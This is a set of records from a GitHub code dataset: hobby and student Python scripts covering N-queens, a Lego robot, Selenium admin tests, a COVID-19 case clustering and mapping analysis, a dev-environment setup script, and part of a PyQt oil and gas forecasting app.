1\n return True\n else:\n for i in range(n):\n row[x] = i\n if is_promising(x):\n n_queens(x + 1)\n\n\nans = 0\nn_queens(0)\nprint(ans)\n","repo_name":"unboxing96/ALGO","sub_path":"백준/solve/9663.py","file_name":"9663.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11204368527","text":"from PlusProcheVoisin import *\nfrom Interface import Application\nfrom ev3dev2.motor import OUTPUT_A , OUTPUT_B , LargeMotor\nimport sys, os\nimport mocap_node as mcn\n\nsys.path.append(os.path.join(os.path.dirname(sys.path[0]),'src'))\n\n###\n\nclass RoboLego():\n def __init__(self,name=\"Lego1\",nomDeConfig=\"Mon Nom De Config\",cst=None):\n\n #Le nom du robot(pour utiliser les commandes)\n self.__name=name\n\n #Le Motion Capture node du robot\n self.__mcn=mcn.MocapNode(nomDeConfig)\n\n #On récupère sa position initiale\n self.__mcn.run()\n self.__mcn.UpdateModelInfo()\n self.__position, self.__yaw = self.__mcn.getPos2DAndYaw(self.__name)\n self.__mcn.stop()\n\n #Eventuelles constantes pour paramétrer le robot\n self.__constantes=cst\n\n #La future interface du robot\n self.__interface=None\n\n #Le moteur gauche et droit du robot, à modifier en fonction du robot utilisé\n self.__lmotor , self.__rmotor = [LargeMotor(address) for address in (OUTPUT_A , OUTPUT_B)]\n\n\n def recupererNoeuds(self,nom_fichier=\"fichier_de_points\"):\n \"\"\"Prends en parametre le du fichier texte contenant les noeuds. Renvoie un liste de noeuds.\"\"\"\n fichier=open(nom_fichier)\n txt=fichier.read()\n points=txt.split(\"\\n\")\n listeNoeuds=[]\n for p in points:\n coordonnee=p.split(\"\\t\")\n coordonnee[0],coordonnee[1]=float(coordonnee[0]),float(coordonnee[1])\n listeNoeuds.append(coordonnee)\n\n return listeNoeuds\n\n\n def ordreNoeuds(self,listeNoeuds):\n \"\"\"Prend en parametre une liste de noeuds. Renvoie la liste des noeuds dans le bon ordre de passage. \"\"\"\n k=PlusProcheVoisin(listeNoeuds,0,len(listeNoeuds),1000,1000)\n k.listePlusProche()\n self.listeNoeuds=k.nouvelleCoord()\n\n\n def partieAuto(self):\n \"\"\"A compléter.\"\"\"\n pass\n\n def cestParti(self,nom_fichier=\"fichier_de_points\"):\n \"\"\"Lance le robot. Prend en parametre une le nom du fichier contennt les noeuds. Utilise ordreNoeuds() pour ordonner les points, avant de lancer l'interface graphique et la partieAuto pour permettre au robot d'effectuer le trajet.\"\"\"\n listeNoeuds=self.ordreNoeuds(self.recupererNoeuds(nom_fichier))\n self.__interface=Application(listeNoeuds,self.__position)\n self.__mcn.run()\n # self.__interface.Mafenetre.mainloop()\n # self.partieAuto()\n self.__mcn.stop()\n\n###\n\nrob=RoboLego()\n\nrob.cestParti(r'C:\\Users\\Remis\\Documents\\GitHub\\SAMI\\fichier_de_points.txt')\n","repo_name":"rafa-create/SAMI_GITH","sub_path":"Squelette.py","file_name":"Squelette.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23504659900","text":"import os\nfrom PIL import Image\nfrom tqdm import tqdm\n\nroot_dir = '../data/trainMNIST/'\nfor root, dirs, files in os.walk(root_dir, topdown=False):\n for name in tqdm(files):\n if name.endswith(\".jpg\") or name.endswith(\".png\"):\n im = Image.open(root + name)\n # imResize = im.resize((256, 256), Image.ANTIALIAS)\n # os.remove(root_dir + name)\n # imResize.save(root_dir + name + \".jpg\", 'JPEG', quality=90)\n im += 1\n im *= 127.5\n im.save('../try/' + name + \".jpg\", 'JPEG', quality=90)\n","repo_name":"ribhav99/CSC413_StyleTransfer","sub_path":"scripts/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36868526103","text":"# These tests are all based on the tutorial at http://killer-web-development.com/\n# if registration is successful this may work but lets\n# try and get user logged in first\n\n\nfrom functional_tests import FunctionalTest, ROOT, USERS\nimport time\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.alert import Alert\n\n\nclass AnswerQuestion (FunctionalTest):\n\n def setUp(self):\n self.url = ROOT + '/default/user/login' \n get_browser = self.browser.get(self.url)\n\n mailstring = USERS['USER1']+'@user.com'\n email = self.browser.find_element_by_name(\"email\")\n\n email = WebDriverWait(self, 10).until(lambda self: self.browser.find_element_by_name(\"email\"))\n email.send_keys(mailstring)\n\n # username = self.browser.find_element_by_name(\"username\")\n # username = WebDriverWait(self, 10).until(lambda self : self.browser.find_element_by_name(\"username\"))\n # username.send_keys(USERS['USER1'])\n password = self.browser.find_element_by_name(\"password\") \n password.send_keys(USERS['PASSWORD1']) \n\n submit_button = self.browser.find_element_by_css_selector(\"#submit_record__row input\")\n submit_button.click() \n time.sleep(1) \n\n self.url = ROOT + '/admin' \n get_browser = self.browser.get(self.url)\n\n\n def test_datasetup(self):\n self.url = ROOT + '/admin/datasetup' \n get_browser=self.browser.get(self.url)\n time.sleep(1)\n\n self.browser.execute_script('alert(\"hi\")')\n time.sleep(2)\n alert = self.browser.switch_to_alert()\n alert.accept()\n\n body = WebDriverWait(self, 10).until(lambda self: self.browser.find_element_by_tag_name('body'))\n self.assertIn('Standard data has been added', body.text)\n\n def test_addcategories(self):\n self.url = ROOT + '/admin/addstdcategories' \n get_browser=self.browser.get(self.url)\n time.sleep(1)\n\n body = WebDriverWait(self, 10).until(lambda self: self.browser.find_element_by_tag_name('body'))\n self.assertIn('Standard categories have been added', body.text)\n\n def test_addresolvemethods(self):\n self.url = ROOT + '/admin/addresolvemethods'\n get_browser = self.browser.get(self.url)\n time.sleep(1)\n\n body = WebDriverWait(self, 10).until(lambda self: self.browser.find_element_by_tag_name('body'))\n self.assertIn('Standard resolution methods have been added', body.text)\n\n def test_addmessages(self):\n self.url = ROOT + '/admin/stdmessages' \n get_browser = self.browser.get(self.url)\n time.sleep(1)\n\n body = WebDriverWait(self, 10).until(lambda self: self.browser.find_element_by_tag_name('body'))\n\n self.assertIn('Standard messages have been added', body.text)\n","repo_name":"DonaldMcC/gdms","sub_path":"fts/test_p0datasetup.py","file_name":"test_p0datasetup.py","file_ext":"py","file_size_in_byte":2859,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"27515083935","text":"import random\n\nsoma = 0\nnumimp = 0\nmnrnmr = 50\n\nwhile True:\n rand = random.randint(0, 50)\n soma += rand\n print(rand)\n if rand % 2 == 1:\n numimp += 1\n if rand < mnrnmr:\n mnrnmr = rand\n if rand == 32:\n break\nprint(\"A soma de todos os números é {}, foram gerados {} números ímpares e o menor número gerado foi {}.\".format(soma, numimp, mnrnmr))\n","repo_name":"Keilo104/faculdade-solucoes","sub_path":"Semestre 1/AP1/exercicios3/exercicio14.py","file_name":"exercicio14.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32088385279","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[17]:\n\n\nimport pandas as pd\nimport geopandas as gpd\nimport sklearn as sk\n\n\ndfs=pd.read_csv(\"/Users/venmalladi/Downloads/COVID-19_Cases.csv\",sep=\",\",iterator=True,chunksize = 1000000)\nCOVID_DATA=pd.concat(dfs)\nPOP_DATA=pd.read_csv(\"/Users/venmalladi/Downloads/Book9.csv\")\nSTATE_ABBREV=pd.read_csv(\"/Users/venmalladi/Downloads/csvData-2.csv\")\n#COVID_DATA=pd.read_csv(\"/Users/venmalladi/Downloads/Book3.csv\") \n \n \n \n \n\n\n# In[2]:\n\n\nimport numpy as np\n\n\n# In[ ]:\n\n\n\n\n\n# In[3]:\n\n\nval1 = input(\"Enter the Location: \")\nprint(val1)\nval2 = int(input(\"Enter the Age: \"))\nprint(val2)\nval3 = input(\"Enter the Date: \")\nprint(val3)\n\n\n# In[ ]:\n\n\n#likelihood\n#Pseudo Code\n#If age is between X and Y\n#count age between X and Y\n #if location is Z\n #count location\n #if date is in this range \n #count location\n #print count/population in location\n#for sensitivity of dates\n # if age is between X and Y\n #print count of cases between the two values\n\n\n# In[1]:\n\n\n#Graph Logic\n#if age is between this date and another date\n #count number of cases and deaths within the age group\n #highlight whole map and list number of cases and deaths\n#if location is = to one of the locations\n #count number of cases and deaths within that location\n #highlight the regions where these cases are within these locations\n \n\n\n# In[3]:\n\n\n#hierarchical clustering of locations\n#Based on #of Cases and County x = number of cases in each county y = county \n#Calculate the Pearsons Coefficient(comparing every county to each other)\n#Use Complete Linkage Hierarchical Clustering Algorthim for this one (# of clusters variable parameters that I can change)\n#https://plotly.com/python/county-choropleth/\n#Figure out how to plot these graphs in reality\n\n\n# In[7]:\n\n\n#Likelihood calculation\n#for val1 in dataframe if val1 = state value in data frame\n#print the count of how many cases were in those states\n#for those values, find the age group and print those counts\n\n\n# In[ ]:\n\n\n\n\n\n# In[18]:\n\n\n#This piece of code gives you how many cases with the given age and location the user provided & infection rate\nint(val2)\n\n#Data Cleaning\nimport numpy as np\n\nCOVID_DATA[\"case_month\"]=COVID_DATA[\"case_month\"].apply(str)\nCOVID_DATA['case_month'] = COVID_DATA['case_month'].str.replace('-', '')\nCOVID_DATA['age_group'] = COVID_DATA['age_group'].str.replace(' ', '')\nval3=val3.replace(\"-\", \"\")\n#fipscode_str=COVID_DATA['county_fips_code'].apply(lambda x: '{0:0>5}'.format(x))\n#COVID_DATA['county_fips_code']=fipscode_str.astype(int())\n#COVID_DATA['county_fips_code'] = fipscode_str.astype(int())\nCOVID_DATA['res_state'] = COVID_DATA['res_state'].astype(str)\nCOVID_DATA['Year_Val'] = COVID_DATA['case_month'].astype(str).str[:4]\n\n#IF then loop based on use inputs\nif (0 < val2 <= 17):\n age_group1 = \"0-17years\"\n Y = COVID_DATA[(COVID_DATA['res_state']==val1) & (COVID_DATA['age_group']==age_group1) & (COVID_DATA['case_month'] <=val3) & (COVID_DATA['Year_Val'])]\n filtered_cases = Y.shape[0]\n first_value = Y['Year_Val'].iat[0]\n first_value=int(first_value)\n res = POP_DATA.dtypes\n Z = POP_DATA[(POP_DATA['Age_Group']==\"0-17years\") & (POP_DATA['Year'] == first_value) & (POP_DATA['res_state']==val1)]\n YZ = POP_DATA[(POP_DATA['Age_Group']==\"0-17years\") & (POP_DATA['Year'] == first_value)]\n cases_age_group = Z['Population'].sum()\n cases_age_group2 = YZ['Population'].sum()\n infection_rate = filtered_cases/cases_age_group \n infection_rate2 = filtered_cases/cases_age_group2\n Cases= Y['case_month'].count()\n Y['Cases'] = Cases\n Y['Infection Rate State'] = infection_rate\n Y['Infection Rate US'] =infection_rate2\nelif 18 <= val2 <= 64:\n age_group2 = \"18to49years\"\n age_group3 = \"50to64years\"\n X = COVID_DATA[(COVID_DATA['res_state']==val1) & (COVID_DATA['age_group']==age_group2) & (COVID_DATA['case_month'] <=val3)]\n YY = COVID_DATA[(COVID_DATA['res_state']==val1) & (COVID_DATA['age_group']==age_group3) & (COVID_DATA['case_month'] <=val3)]\n numb_inf_age1 = X.shape[0]\n numb_inf_age2 = YY.shape[0]\n filtered_cases = numb_inf_age1+numb_inf_age2 \n first_value = X['Year_Val'].iat[0]\n first_value=int(first_value)\n print(type(first_value))\n res = POP_DATA.dtypes\n Z = POP_DATA[(POP_DATA['Age_Group']==\"18-65years\") & (POP_DATA['Year'] == first_value) & (POP_DATA['res_state']==val1)]\n YZ = POP_DATA[(POP_DATA['Age_Group']==\"18-65years\") & (POP_DATA['Year'] == first_value)]\n cases_age_group = Z['Population'].sum()\n cases_age_group2 = YZ['Population'].sum()\n print(cases_age_group)\n print(cases_age_group2)\n infection_rate = filtered_cases/cases_age_group \n infection_rate2 = filtered_cases/cases_age_group2\n print(infection_rate)\n print(infection_rate2)\n #Combining the two datasets\n Combination = [X,YY]\n Y = pd.concat(Combination)\n Cases= Y['case_month'].count()\n print(Cases)\n Y['Cases'] = Cases\n Y['Infection Rate State'] = infection_rate\n Y['Infection Rate US'] =infection_rate2\nelif val2 > 64:\n age_group4 = \"65+years\"\n Y = COVID_DATA[(COVID_DATA['res_state']==val1) & (COVID_DATA['age_group']==age_group4) & (COVID_DATA['case_month'] <=val3) & (COVID_DATA['Year_Val'])]\n filtered_cases = Y.shape[0]\n first_value = Y['Year_Val'].iat[0]\n first_value=int(first_value)\n print(type(first_value))\n res = POP_DATA.dtypes\n print(res)\n Z = POP_DATA[(POP_DATA['Age_Group']==\"65+years\") & (POP_DATA['Year'] == first_value) & (POP_DATA['res_state']==val1)]\n YZ = POP_DATA[(POP_DATA['Age_Group']==\"65+years\") & (POP_DATA['Year'] == first_value)]\n print(Z)\n cases_age_group = Z['Population'].sum()\n cases_age_group2 = YZ['Population'].sum()\n print(cases_age_group)\n print(cases_age_group2)\n infection_rate = filtered_cases/cases_age_group \n infection_rate2 = filtered_cases/cases_age_group2\n print(infection_rate)\n print(infection_rate2)\n Cases= Y['case_month'].count()\n print(Cases)\n Y['Cases'] = Cases\n Y['Infection Rate State'] = infection_rate\n Y['Infection Rate US'] =infection_rate2\n\n\n# In[8]:\n\n\n#COVID_DATA['county_fips_code'] = fipscode_str.astype('int')\n\n\n# In[ ]:\n\n\n\n\n\n# In[5]:\n\n\n#US map generation\n#Need to figure out how to process so much data\n\nfrom plotly.tools import FigureFactory as ff\nfrom plotly.figure_factory._county_choropleth import create_choropleth\nimport warnings\nfrom shapely.errors import ShapelyDeprecationWarning\nimport plotly.express as px\nwarnings.filterwarnings(\"ignore\", category=ShapelyDeprecationWarning)\nimport plotly.graph_objects as go\n\n\n# In[19]:\n\n\nimport plotly.express as px\n\n#fig = px.choropleth(Y,\n# locations='res_state', \n# locationmode=\"USA-states\", \n# scope=\"usa\",\n# color='Cases',\n# color_continuous_scale=\"Viridis_r\", \n# \n# )\n#fig.show()\n\nimport plotly.graph_objects as go\n\nfor col in Y.columns:\n Y[col] = Y[col].astype(str)\n \nY['text'] = Y['res_state'] + '
' + ' Infection Rate State: ' + Y['Infection Rate State'] + '
' + ' Infection Rate US: ' + Y['Infection Rate US'] + '
' + ' Number of Cases: ' + Y['Cases']\n\n\nfig = go.Figure(data=go.Choropleth(\n locations=Y['res_state'],\n z=Y['Cases'].astype(float),\n locationmode='USA-states',\n colorscale='Reds',\n autocolorscale=False,\n text=Y['text'], # hover text\n marker_line_color='black', # line markers between states\n colorbar_title=\"Number of Cases\"\n))\n\nfig.update_layout(\n title_text='COVID-19 Cases and Infection Rate',\n geo = dict(\n scope='usa',\n projection=go.layout.geo.Projection(type = 'albers usa'),\n showlakes=True, # lakes\n lakecolor='rgb(255, 255, 255)'),\n)\n\nfig.show()\n\n\n# In[29]:\n\n\n#This is an example I am testing and then trying to apply this to my work\n\n#Hierarchical Data Clustering\n#Compute the proximity matrix\n#Let each data point be a cluster\n#Repeat: Merge the two closest clusters and update the proximity matrix\n#Until only a single cluster remains\n\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom sklearn.cluster import AgglomerativeClustering\nimport scipy.cluster.hierarchy as sch\n\nMETHOD_DATA = COVID_DATA.iloc[:, [0, 2]].values\n\ndendrogram = sch.dendrogram(sch.linkage(METHOD_DATA, method='complete'))\n\nmodel = AgglomerativeClustering(n_clusters=5, affinity='euclidean', linkage='complete')\nmodel.fit(METHOD_DATA)\nlabels = model.labels_\n\n#plt.scatter(METHOD_DATA[labels==0, 0], METHOD_DATA[labels==0, 1], s=50, marker='o', color='red')\n#plt.scatter(METHOD_DATA[labels==1, 0], METHOD_DATA[labels==1, 1], s=50, marker='o', color='blue')\n#plt.scatter(METHOD_DATA[labels==2, 0], METHOD_DATA[labels==2, 1], s=50, marker='o', color='green')\n#plt.scatter(METHOD_DATA[labels==3, 0], METHOD_DATA[labels==3, 1], s=50, marker='o', color='purple')\n#plt.scatter(METHOD_DATA[labels==4, 0], METHOD_DATA[labels==4, 1], s=50, marker='o', color='orange')\n#plt.show()\n\n\n# In[7]:\n\n\ncounty_data = {}\n\nimport math\n\nfor i, j in COVID_DATA.iterrows():\n if not math.isnan(j['county_fips_code']):\n fips_code = int(j['county_fips_code'])\n fips_count = 0\n if fips_code not in county_data:\n county_data[fips_code] = 1\n else:\n updated_count = county_data.get(fips_code)+1\n temp = {fips_code: updated_count}\n county_data.update(temp)\n\nprint(county_data) \n#correlation of time series between two different regions\n#dis\n\n#dictionary fips code and a count and a bolleeen dictionary of the county_fips_counts of dictionaries\n#You will have a count that start at 0, bolleeen\n\n#import numpy as np\n\n#COVID_DATA['case_month'] = COVID_DATA['case_month'].astype(int)\n\n#temp=[]\n\n#corr = np.corrcoef(list(county_data.keys()), list(county_data.values()))\n\n#print(corr)\n#distance matrix plug into orange canvas and use that directly?\n#ex: 1000 counties, 1000x1000 matrix correlation between county i and county j\n#pandas corr function\n#pandas dataframe that looks at each county, each column is diff county,\n#corr -> correlation coefficient\n#county fips -> integer\n\n#case month should be index\n#fips code is a column\n#aggegate data to create plot\n\n\n# In[9]:\n\n\nfrom sklearn.metrics.pairwise import check_pairwise_arrays\n\nCOVID_DATA_Agg = pd.pivot_table(COVID_DATA,\n values='res_county',\n index = 'case_month',\n columns = 'county_fips_code',\n aggfunc='count')\n\nCOVID_DATA_Agg = COVID_DATA_Agg.fillna(0)\nprint(COVID_DATA_Agg)\ncorr = np.corrcoef(COVID_DATA_Agg,rowvar=False)\n\ncorr= np.where(np.isfinite(corr), corr, 0)\n\ncorr.shape\n#np.any(np.isnan(corr))\n#np.all(np.isfinite(corr))\n\n\n# In[14]:\n\n\n#Using the correlation Matrix calculated \n\n#Hierarchical Data Clustering\n#Compute the proximity matrix\n#Let each data point be a cluster\n#Repeat: Merge the two closest clusters and update the proximity matrix\n#Until only a single cluster remains\n\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom sklearn.cluster import AgglomerativeClustering\nimport scipy.cluster.hierarchy as sch\n\n#COVID_DATA['res_state'] = COVID_DATA['res_state'].astype()\n\n#METHOD_DATA1 = [(x,y) for x,y in zip(list(county_data.keys()),list(county_data.values()))]\n\n#METHOD_DATA2 = pd.DataFrame(METHOD_DATA1, columns=['fips_code', 'fips_count'])\n\n#print(METHOD_DATA2)\n\n#METHOD_DATA = METHOD_DATA2.iloc[:, [0, 1]].values\n\n#print(METHOD_DATA)\n\n#dendrogram = sch.dendrogram(sch.linkage(METHOD_DATA, method='complete'))\n\n#model = AgglomerativeClustering(affinity=corr, n_clusters=2, linkage='complete')\n#print(model.labels_)\nnum_clusters = 5\n\nmodel = AgglomerativeClustering(n_clusters = num_clusters, affinity=\"precomputed\", linkage='complete',compute_distances = True)\nmodel.fit(corr)\nlabels = model.labels_\n\nfrom plotly.tools import FigureFactory as ff\nfrom plotly.figure_factory._county_choropleth import create_choropleth\nimport warnings\nfrom shapely.errors import ShapelyDeprecationWarning\n\nwarnings.filterwarnings(\"ignore\", category=ShapelyDeprecationWarning)\n\nfips = [str(x) for x in list(county_data.keys())]\ntotal_cases = [str(x) for x in list(county_data.values())]\nlabels = [str(x) for x in labels]\nvalues = labels\n\n#print(labels)\n#fig = create_choropleth(fips=fips, values=values)\n\n#fig.layout.template = None\n#fig.show()\n\nprint(len(values))\n\n#multi-threading for reading all the data\n#simaphore?\n#count on what the next set of data will be\n#workers for multi-thread off the number - critcal section off of it\n#read in the value, then increment by 1\n#method for function for updating the data\n#workers * specific to threading\n#reading data in + writing data in\n#read in the data structure\n\nfrom urllib.request import urlopen\nimport json\nwith urlopen('https://raw.githubusercontent.com/plotly/datasets/master/geojson-counties-fips.json') as response:\n counties = json.load(response)\n \n#df = [fips][values][# of cases]\nprint(fipscode_str)\nzipData = zip(fipscode_str.values.tolist(),values,county_data.values())\n\ndf = pd.DataFrame (zipData, columns = ['fips','cluster','total_cases']) \nprint(df) \nimport plotly.express as px\n\nfig = px.choropleth(df, geojson=counties, locations='fips', color='cluster',hover_name='total_cases',\n color_continuous_scale=\"Viridis\",\n range_color=(0, num_clusters),\n scope=\"usa\",\n labels={'unemp':'unemployment rate'}\n )\n\nfig.update_layout(margin={\"r\":0,\"t\":0,\"l\":0,\"b\":0})\nfig.show()\n\n#fips #values - 0,1,2,3 - clusters\n\n\n# In[13]:\n\n\nfipscode_str=COVID_DATA['county_fips_code'].apply(lambda x: '{0:0>5}'.format(x))\nCOVID_DATA['county_fips_code']=fipscode_str.astype(int)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Cobaltsa/Projects","sub_path":"COVID-19 Project.py","file_name":"COVID-19 Project.py","file_ext":"py","file_size_in_byte":13935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28121939861","text":"#!/usr/bin/env python3\n\"\"\"\nConfigure python development environment.\nOnly work for linux that use bash!\nAnd python3.6+ is required.\n\"\"\"\nimport re\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom platform import platform\nfrom typing import Optional\n\nFILES = ALIAS_FILE, *_ = [\n \".bash_aliases\",\n \".mg.py\",\n \".vimrc\",\n \".lint.sh\",\n]\n\nPACKAGES = \"ipython ruff black isort mypy\"\nIS_WINDOWS = platform().lower().startswith(\"win\")\n\n\ndef get_cmd_result(cmd: str) -> str:\n ret = subprocess.run(cmd, shell=True, capture_output=True)\n return ret.stdout.decode().strip()\n\n\ndef run_cmd(command: str) -> int:\n print(\"-->\", command)\n return subprocess.run(command, shell=True).returncode\n\n\ndef get_shell() -> str:\n return Path(get_cmd_result(\"echo $SHELL\")).name\n\n\ndef set_alias_for_git(home: Path) -> None:\n config = home / \".gitconfig\"\n if not config.exists():\n _git_unstage()\n _git_dog()\n else:\n content = config.read_bytes()\n if b\"unstage\" not in content:\n _git_unstage()\n if b\"dog\" not in content:\n _git_dog()\n\n\ndef _git_unstage():\n run_cmd(\"git config --global alias.unstage 'reset HEAD'\")\n\n\ndef _git_dog():\n fmt = (\n \"%C(bold blue)%h%C(reset) - \"\n \"%C(bold green)(%ar)%C(reset) \"\n \"%C(white)%s%C(reset) %C(dim white)- \"\n \"%an%C(reset)%C(bold yellow)%d%C(reset)\"\n )\n dog = f\"log --graph --abbrev-commit --decorate --format=format:{fmt!r} --all\"\n run_cmd(\"git config --global alias.dog {}\".format(repr(dog)))\n\n\ndef configure_aliases(rc: Path, txt: Optional[str] = None) -> None:\n if txt is None:\n txt = rc.read_text(\"utf8\")\n if ALIAS_FILE not in txt:\n with rc.open(\"a\") as fp:\n fp.write(\"\\n[[ -f ~/{0} ]] && . ~/{0}\".format(ALIAS_FILE))\n # change nvm node mirrors\n if \"--nvm\" in sys.argv:\n nvm = \"export NVM_NODEJS_ORG_MIRROR=https://repo.huaweicloud.com/nodejs/\"\n if nvm not in txt:\n with rc.open(\"a\") as fp:\n fp.write(f\"\\n# For nvm\\n{nvm}\\n\")\n\n\ndef configure_path(rc: Path, txt: Optional[str] = None) -> None:\n if txt is None:\n txt = rc.read_text(\"utf8\")\n if \"/.local\" not in txt:\n line = \"export PATH=$HOME/.local/bin:$PATH\"\n with rc.open(\"a\") as fp:\n fp.write(f\"\\n{line}\\n\")\n\n\ndef get_dirpath() -> Path:\n try:\n return Path(__file__).parent.resolve()\n except NameError:\n return Path(\".\").resolve()\n\n\ndef update_aliases(repo: Path, aliases_path: Path, home) -> str:\n ss = s = aliases_path.read_text(\"utf8\")\n for script in (\"rstrip.py\", \"httpa.sh\"):\n stem = Path(script).stem\n pattern = rf'{stem}=\"(.*)\"'\n m = re.search(pattern, ss)\n if m:\n path = m.group(1)\n p = Path(path).expanduser()\n if not p.exists():\n script_path = repo / script\n new_path = script_path.as_posix().replace(Path.home().as_posix(), \"~\")\n ss = ss.replace(f'{stem}=\"{path}\"', f'{stem}=\"{new_path}\"')\n if run_cmd(\"which vi\") and \"alias vi=\" not in get_cmd_result(\"alias\"):\n ss += \"alias vi=vim\\n\"\n if s != ss:\n aliases_path.write_text(ss)\n set_alias_for_git(home)\n return ss\n\n\ndef get_rc_file(home) -> Path:\n names = [\".zshrc\", \".bashrc\", \".profile\", \".zprofile\", \".bash_profile\"]\n for name in names:\n rc = home / name\n if rc.exists():\n break\n else:\n if IS_WINDOWS:\n rc = home / names[-1]\n rc.touch()\n return rc\n raise Exception(f\"Startup file not found, including {names!r}\")\n return rc\n\n\ndef init_pip_source(home: Path, repo: Path) -> None:\n swith_pip_source = repo / \"pip_conf.py\"\n p = home.joinpath(\".config/pip/pip.conf\")\n if p.exists():\n print(\"pip source already config as follows:\\n\\n\")\n print(p.read_bytes().decode())\n tip = f\"\\nDo you want to rerun ./{swith_pip_source.name}? [y/N] \"\n if input(tip).lower() == \"y\":\n run_cmd(f\"{swith_pip_source}\")\n else:\n run_cmd(f\"{swith_pip_source}\")\n\n\ndef upgrade_pip_and_install_pipx() -> None:\n run_cmd(\"python3 -m pip install --upgrade --user pip\")\n run_cmd(\"python3 -m pip install --user --upgrade pipx\")\n run_cmd(\"python3 -m pipx ensurepath\")\n if run_cmd(\"pipx install --upgrade poetry\") == 0:\n run_cmd(\"./pip_conf.py --poetry\")\n\n\ndef main():\n home = Path.home()\n aliases_path = home / ALIAS_FILE\n if aliases_path.exists():\n a = input(f\"`{aliases_path}` exists. Continue and replace it?[y/(n)] \")\n if not a.lower().strip().startswith(\"y\"):\n return\n run_init(home, aliases_path)\n\n\ndef run_init(home, aliases_path):\n repo = get_dirpath()\n init_pip_source(home, repo)\n upgrade_pip_and_install_pipx()\n for fn in FILES:\n run_cmd(f\"cp {repo / fn} {home}\")\n update_aliases(repo, aliases_path, home)\n if \"macos\" in platform().lower():\n ctl_name = \"systemctl.py\"\n ctl_path = repo / ctl_name\n ln_ctl_path = home / (\".\" + ctl_name)\n if ctl_path.exists() and not ln_ctl_path.exists():\n run_cmd(f\"ln -s {ctl_path} {ln_ctl_path}\")\n # activate aliases at .bashrc or .zshrc ...\n rc = get_rc_file(home)\n configure_aliases(rc)\n # Install some useful python modules\n if run_cmd(f\"python3 -m pip install --upgrade --user {PACKAGES}\") != 0:\n if IS_WINDOWS:\n a = input(f\"Failed to install {PACKAGES}. Continue?[(y)/n] \")\n if a.lower().strip().startswith(\"n\"):\n sys.exit(1)\n elif run_cmd(f\"sudo pip3 install -U {PACKAGES}\") != 0:\n print(\"Please install python3-pip and then rerun this script.\")\n sys.exit(1)\n # Activate installed python package scripts, such as: ipython, ruff\n configure_path(rc)\n # Reactive rc file\n sh = \"zsh\" if \"zsh\" in rc.name else \"bash\"\n run_cmd(f\"{sh} {rc}\")\n print(f\"`{rc}` activated\")\n print(\"Done!\")\n\n\nif __name__ == \"__main__\":\n if sys.argv[1:] and sys.argv[1] == \"dog\":\n set_alias_for_git(Path.home())\n else:\n main()\n","repo_name":"waketzheng/carstino","sub_path":"init_my_dev.py","file_name":"init_my_dev.py","file_ext":"py","file_size_in_byte":6146,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"19950986853","text":"import sys\nimport seaborn as sns\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import QPixmap\nfrom PyQt5.QtCore import QDir\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport matplotlib as mp\nfrom statistics import mode\nfrom sklearn.preprocessing import MinMaxScaler\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation, LSTM, GRU\nfrom sklearn.model_selection import train_test_split\nfrom PyQt5 import QtCore\nfrom PyQt5.QtWidgets import QSlider\n\n\nclass DialogApp(QWidget):\n def __init__(self):\n super().__init__()\n self.epochs = 0\n self.current_parameter = ''\n self.file_name = ''\n self.data = ''\n self.resize(450, 200)\n self.button1 = QPushButton('Загрузить файл выборки')\n self.btnPlotOil = QPushButton(\"Годовая добыча нефти\")\n self.btnPlotGas = QPushButton(\"Годовая добыча газа\")\n self.btnPredict = QPushButton('Спрогнозировать параметры добычи')\n self.btnPlotStats = QPushButton(\"&Параметры выборки\")\n self.button1.clicked.connect(self.get_data)\n self.btnPlotOil.clicked.connect(self.plot_of_annual_oil)\n self.btnPlotGas.clicked.connect(self.plot_of_annual_gas)\n self.btnPredict.clicked.connect(self.predict_data)\n self.epochs_choice = QSlider(QtCore.Qt.Horizontal)\n self.epochs_choice.setMinimum(10)\n self.epochs_choice.setMaximum(500)\n self.epochs_choice.setSingleStep(10)\n self.epochs_choice.setValue(255)\n self.epochs_choice.setTickPosition(QSlider.TicksBelow)\n self.epochs_choice.setTickInterval(100)\n layout = QVBoxLayout()\n layout.addWidget(self.button1)\n label_graph = QLabel('Графики')\n label_graph.setAlignment(QtCore.Qt.AlignCenter)\n layout.addWidget(label_graph)\n layout.addWidget(self.btnPlotOil)\n layout.addWidget(self.btnPlotGas)\n self.setLayout(layout)\n choice_of_model_architecture = QComboBox()\n choice_of_model_architecture.addItem('Слой GRU')\n choice_of_model_architecture.addItem('Слой LSTM')\n choice_of_model_architecture.addItem('8 слоев GRU')\n choice_of_model_architecture.activated[str].connect(self.on_activated)\n label = QLabel(\"Выбор архитектуры нейросети\")\n label.setAlignment(QtCore.Qt.AlignCenter)\n layout.addWidget(label)\n layout.addWidget(choice_of_model_architecture, alignment=QtCore.Qt.AlignCenter)\n self.setWindowTitle('Прогнозирование параметров добычи')\n label1 = QLabel('Выбор прогнозируемого параметра')\n label1.setAlignment(QtCore.Qt.AlignCenter)\n layout.addWidget(label1)\n choice_of_predicting_parameter = QComboBox()\n 